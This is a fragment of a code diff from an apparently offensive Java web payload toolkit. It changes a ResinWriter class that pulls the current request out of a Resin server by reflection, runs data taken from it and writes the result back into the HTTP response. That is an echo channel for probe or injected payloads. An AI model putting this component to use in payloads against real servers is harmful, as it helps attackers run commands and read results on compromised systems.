throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response; package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -22,17 +25,30 @@ public class ResinWriter {
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null); Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
Object response = getFieldValue(request, "_response"); Object response = getFieldValue(request, "_response");
String data = getDataFromReq(request); String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); if (data != null && !data.isEmpty()) {
try { String result = "";
writer.write(run(data)); try {
} catch (Throwable e) { result = run(data);
e.printStackTrace(writer); } catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
// invokeMethod(response, "close", null, null);
} }
writer.flush();
writer.close();
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
invokeMethod(response, "close", null, null);
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} finally { } finally {
@@ -84,4 +100,19 @@ public class ResinWriter {
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }

Some files were not shown because too many files have changed in this diff Show More